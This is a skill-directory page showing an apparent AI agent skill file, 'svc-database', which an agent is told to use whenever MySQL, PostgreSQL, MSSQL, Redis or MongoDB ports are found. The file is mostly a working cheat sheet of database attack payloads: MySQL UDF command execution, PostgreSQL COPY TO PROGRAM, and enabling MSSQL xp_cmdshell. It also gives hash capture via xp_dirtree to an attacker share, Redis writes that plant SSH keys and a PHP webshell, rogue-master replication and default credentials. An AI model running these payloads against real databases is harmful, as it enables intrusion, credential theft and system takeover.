跳到正文
FunCoding

svc-database

Database RCE paths — UDF, xp_cmdshell, COPY TO PROGRAM, Redis key write. Use when a database service is found. Triggers - MySQL 3306, PostgreSQL 5432, MSSQL 1433, Redis 6379, MongoDB 27017.

Star
1,278
分类
数据
许可证
MIT
最近提交
2026年11月30日

skills/services/database/SKILL.md

在 GitHub 上查看

Database — RCE & Escalation Paths

Standard enumeration (connect, list DBs, dump users) — you know this. Below is what matters.

MySQL → RCE via UDF

Requires FILE privilege + write access to plugin dir. Upload lib_mysqludf_sys.so → SELECT sys_exec('id'). Also: SELECT LOAD_FILE('/etc/passwd') for file read.

PostgreSQL → RCE via COPY TO PROGRAM

Requires superuser: COPY (SELECT '') TO PROGRAM 'id'; Alternative: large object import/export for file read/write.

MSSQL → xp_cmdshell

If disabled (common): EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; Then: EXEC xp_cmdshell 'whoami'; Hash capture: EXEC xp_dirtree '\\ATTACKER\share'; → catch with Responder.

Redis no-auth → RCE (two methods)

SSH key write:

CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET payload "\n\nssh-rsa AAAA...your_key...\n\n"
SAVE

Webshell (if web server co-hosted):

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE

MongoDB / Elasticsearch — no auth = full dump

Both default to no authentication. Connect and enumerate immediately.

2024-2025 additions

Redis (6379) — module loading RCE (CVE-2022-0543 / Lua sandbox escape)

  • Lua sandbox escape: Redis <7.0.5 / 6.2.7 with Lua scripting enabled. EVAL payload escapes sandbox → RCE. Check version; if vulnerable, redis-cli -h <target> eval ....
  • Module loading (Redis 4.0+): MODULE LOAD /path/to/exp_lin.so — requires CONFIG SET dir + write to module dir. If redis-server runs as root → instant root. redis-rogue-server.py automates.
  • Replication RCE: SLAVEOF <attacker-ip> <port> → rogue master sends malicious module. Works even without CONFIG perms if replication allowed.

PostgreSQL — COPY TO PROGRAM / extensions

  • postgres_fdw / file_fdw: Foreign data wrappers for file read/write without superuser in some configs.
  • plpython3u / plperlu: Trusted languages if installed → CREATE FUNCTION ... LANGUAGE plpython3u → RCE.
  • CVE-2024-10979 (libpq PQescapeLiteral overflow): Client-side; affects psql / libpq <17.1/16.5/15.9/14.14/13.17. Check client version.

MySQL / MariaDB — UDF / plugin abuse

  • plugin_dir write: If secure_file_priv='' and plugin_dir writable → INSTALL PLUGIN / CREATE FUNCTION UDF → RCE.
  • CVE-2024-21098 / CVE-2024-21103 (Oracle MySQL): Patched in 8.0.39+. Check version if target uses Oracle MySQL.
  • MariaDB spider / connect engines: Federated engine abuse for arbitrary file read/write.

MSSQL — xp_cmdshell / CLR

  • CLR Assembly: CREATE ASSEMBLY from hex bytes → CREATE PROCEDURE ... EXTERNAL NAME → .NET RCE. Requires PERMISSION_SET = UNSAFE + TRUSTWORTHY or SAFE with signing.
  • OPENROWSET / OPENDATASOURCE: Ad Hoc Distributed Queries enabled → read files / execute via Microsoft.ACE.OLEDB.12.0.

Default creds worth trying

MySQL: root (no password), root/root. PostgreSQL: postgres/(empty). MSSQL: sa/(empty or common).

相似的 Skill

精选

agentic-os

构建持久多智能体系统,无需外部数据库,用文件保存状态,定时执行任务。

AFaffaan-m/ECC314k近 7 天新增 3,503 个 star

health

GAgarrytan/gstack143k近 7 天新增 524 个 star

deprecation-and-migration

ADaddyosmani/agent-skills122k近 7 天新增 1,421 个 star

ccs-align

THthedotmack/claude-mem121k近 7 天新增 1,354 个 star

handoff

THthedotmack/claude-mem121k近 7 天新增 1,354 个 star

knowledge-agent

THthedotmack/claude-mem121k近 7 天新增 1,354 个 star